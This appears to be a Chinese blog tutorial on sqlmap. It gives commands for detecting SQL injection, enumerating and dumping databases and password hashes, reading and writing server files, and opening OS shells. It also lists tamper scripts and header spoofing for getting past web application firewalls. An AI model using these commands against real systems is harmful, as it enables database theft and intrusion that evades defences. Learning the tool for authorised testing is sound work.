• sqlmap使用教程-sqlmap常用命令介绍


    不会安装见sqlmap的同学见(sqlmap使用教程-安装教程:https://www.cnblogs.com/xingyuyu/p/15378326.html)

     

    sqlmap支持5种注入模式:

      1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

      2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

      3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

      4、联合查询注入,可以使用union的情况下的注入。

      5、堆查询注入,可以同时执行多条语句的执行时的注入。

    sqlmap目前支持的数据库有:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

    sqlmap常用命令:

    更新命令:python sqlmap.py --update

    常用URL注入语句:sqlmap.py -url http://192.168.64.134/sql/Less-1/?id=1

    --level (1-5)执行测试等级level有5个等级,默认等级为1,进行Cookie测试时使用2 ,进行use-agent或refer测试时使用3 ,进行host测试时使用 5

    --risk=RISK(0-3)执行测试的风险,共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

    -v VERBOSE (0-6)信息级别:0、只显示python错误以及严重的信息。1、同时显示基本信息和警告信息(默认);2、同时显示debug信息;3、同时显示注入的payload;4、同时显示HTTP请求;5、同时显示HTTP响应头;6、同时显示HTTP响应页面。

    常见步骤如下:

    step1:sqlmap -u ["URL"] //测试是否存在注入
    step2:sqlmap -u ["URL"] -current-db //查询当前数据库
    step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
    step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
    step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容

    多个url注入:sqlmap.py -m urls.txt

    txt格式如下:

    http://192.168.79.130/sqli/Less-1/?id=1
    http://192.168.79.130/sqli/Less-2/?id=1
    http://192.168.79.130/sqli/Less-3/?id=1

    手机移动站点注入:sqlmap.py -u “http://www.mobile.com?Id=1”--mobile

    智能测试注入:sqlmap.py -u“http://192.168.79.130/sqli/Less-1/?id=1”--batch --smart

    --batch 自动选择yes

    --smart 启发式快速判断,节约浪费时间

    post及cookie注入:sqlmap.py -r burpsuite抓包.txt

    txt格式如下:

    POST /vuln.php HTTP/1.1
    Host: www.test.com
    User-Agent: Mozilla/4.0
    
    id=1

    指定参数注入:sqlmap.py -r post.txt -p 注入参数

    指定表单注入:sqlmap -u URL -data “username=a&password=a”

    sqlmap表单注入:sqlmap.py -u URL -froms

     

    信息枚举(可以组合使用):

    -a, --all                 获取所有信息
    -b, --banner              获取数据库管理系统的标识
    --current-user            获取数据库管理系统当前用户
    --current-db              获取数据库管理系统当前数据库
    --hostname                获取数据库服务器的主机名称
    --is-dba                 检测DBMS当前用户是否DBA
    --users                   枚举数据库管理系统用户
    --passwords               枚举数据库管理系统用户密码哈希
    --privileges              枚举数据库管理系统用户的权限
    --roles                   枚举数据库管理系统用户的角色
    --dbs                     枚举数据库管理系统数据库
    --tables                  枚举的DBMS数据库中的表
    --columns                 枚举DBMS数据库表列
    --schema                  枚举数据库架构
    --count                   检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
    --dump                    转储数据库表项
    --dump-all                转储数据库所有表项
    --search                  搜索列(S),表(S)和/或数据库名称(S)
    --comments                获取DBMS注释
    -D DB                     要进行枚举的指定数据库名
    -T TBL                    DBMS数据库表枚举
    -C COL                    DBMS数据库表列枚举
    -X EXCLUDECOL             DBMS数据库表不进行枚举
    -U USER                   用来进行枚举的数据库用户
    --exclude-sysdbs          枚举表时排除系统数据库
    --pivot-column=P..        Pivot columnname
    --where=DUMPWHERE         Use WHEREcondition while table dumping
    --start=LIMITSTART        获取第一个查询输出数据位置
    --stop=LIMITSTOP          获取最后查询的输出数据
    --first=FIRSTCHAR         第一个查询输出字的字符获取
    --last=LASTCHAR           最后查询的输出字字符获取
    --sql-query=QUERY         要执行的SQL语句
    --sql-shell               提示交互式SQL的shell
    --sql-file=SQLFILE        要执行的SQL文件

    系统文件操作

    --file-read “文件路径”  据库服务器中读取文件

    --file-write “本地文件路径”--file-dest “目标文件路径”    把文件上传到目标服务器

    --os cmd, --os-shell    运行任意操作系统命令

     

    绕过waf常用方法(可以使用一种或多种组合使用):

    检测waf类型:sqlmap.py -u “http://test.com/test.php?Id=1”--identify-waf

    使用代理:sqlmap.py -u “http://test.com/test.php?Id=1” --proxy=http://127.0.0.1:8080(代理地址)

    延迟连接:sqlmap.py -u “http://test.com/test.php?Id=1” --delay=3 (单位为秒

    使用随机Usre-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --random-agent(过安全狗有点用)

    指定User-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --user-agent=”Firefox/xxx”

    调整并发线程数:sqlmap.py -u “http://test.com/test.php?Id=1” --threads=4(线程数)

    指定Referer字段:sqlmap.py -u “http://test.com/test.php?Id=1”--referer="https://www.baidu.com/index.html"

    更换错误请求:sqlmap.py -u “http://test.com/test.php?Id=1” --safe-url(正常的网站)

    使用sqlmap自带的过waf脚本:sqlmap.py -u “http://test.com/test.php?Id=1” --tamper[“脚本名称”](如果脚本失效,可以自定义脚本)

    注:脚本文件位于sqlmap文件夹下的tamper文件夹里面

    apostrophemask.py             用UTF-8全角字符替换单引号字符
    apostrophenullencode.py       用非法双字节unicode字符替换单引号字符
    appendnullbyte.py             在payload末尾添加空字符编码
    base64encode.py               对给定的payload全部字符使用Base64编码
    between.py                    分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
    bluecoat.py                   在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
    chardoubleencode.py           对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
    charencode.py                 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
    charunicodeencode.py          对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
    concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
    equaltolike.py                用“LIKE”运算符替换全部等于号“=”
    greatest.py                   用“GREATEST”函数替换大于号“>”
    halfversionedmorekeywords.py  在每个关键字之前添加MySQL注释
    ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
    lowercase.py                  用小写值替换每个关键字字符
    modsecurityversioned.py       用注释包围完整的查询
    modsecurityzeroversioned.py   用当中带有数字零的注释包围完整的查询
    multiplespaces.py             在SQL关键字周围添加多个空格
    nonrecursivereplacement.py    用representations替换预定义SQL关键字,适用于过滤器
    overlongutf8.py               转换给定的payload当中的所有字符
    percentage.py                 在每个字符之前添加一个百分号
    randomcase.py                 随机转换每个关键字字符的大小写
    randomcomments.py             向SQL关键字中插入随机注释
    securesphere.py               添加经过特殊构造的字符串
    sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
    space2comment.py              用“/**/”替换空格符
    space2dash.py                 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
    space2hash.py                 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2morehash.py             用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2mssqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符
    space2mssqlhash.py            用磅注释符“#”其次是一个换行符替换空格符
    space2mysqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符
    space2mysqldash.py            用破折号注释符“--”其次是一个换行符替换空格符
    space2plus.py                 用加号“+”替换空格符
    space2randomblank.py          用一组有效的备选字符集当中的随机空白符替换空格符
    unionalltounion.py            用“UNION SELECT”替换“UNION ALL SELECT”
    unmagicquotes.py              用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
    varnish.py                    添加一个HTTP头“X-originating-IP”来绕过WAF
    versionedkeywords.py          用MySQL注释包围每个非函数关键字
    versionedmorekeywords.py      用MySQL注释包围每个关键字
    xforwardedfor.py              添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

     脚本详细使用信息可以参考:https://www.douban.com/note/798582925/

    本博客参考文章:

    https://www.freebuf.com/sectool/164608.html

    https://www.cnblogs.com/Hunter-01001100/p/12377393.html

    https://www.vuln.cn/2035

    https://my.oschina.net/u/4352543/blog/3551039

  • 相关阅读:
    第09组 Beta冲刺(4/5)
    第09组 Beta冲刺(3/5)
    第09组 Beta冲刺(2/5)
    第09组 Beta冲刺(1/5)
    第09组 Alpha事后诸葛亮
    第09组 Alpha冲刺(6/6)
    第09组 Alpha冲刺(5/6)
    第5次实践作业
    第4次实践作业
    第3次实践作业
  • 原文地址:https://www.cnblogs.com/xingyuyu/p/15391958.html
Copyright © 2020-2023  润新知